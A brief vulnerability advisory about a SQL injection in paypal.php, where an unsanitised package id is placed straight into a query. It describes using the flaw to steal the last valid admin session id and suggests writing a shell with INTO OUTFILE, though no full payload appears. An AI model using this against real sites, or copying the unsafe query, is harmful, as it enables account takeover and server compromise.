VULN EXPLANATION

Vuln code can be found at paypal.php:

$sql=&#34;select * from member_package where package_id=$pack&#34;;
$res=mysql_query($sql);

we can do a SQL Injection..
in this case we try to retrieve the last valid session id for being an admin
but you can also try to inject a shell with INTO OUTFILE command
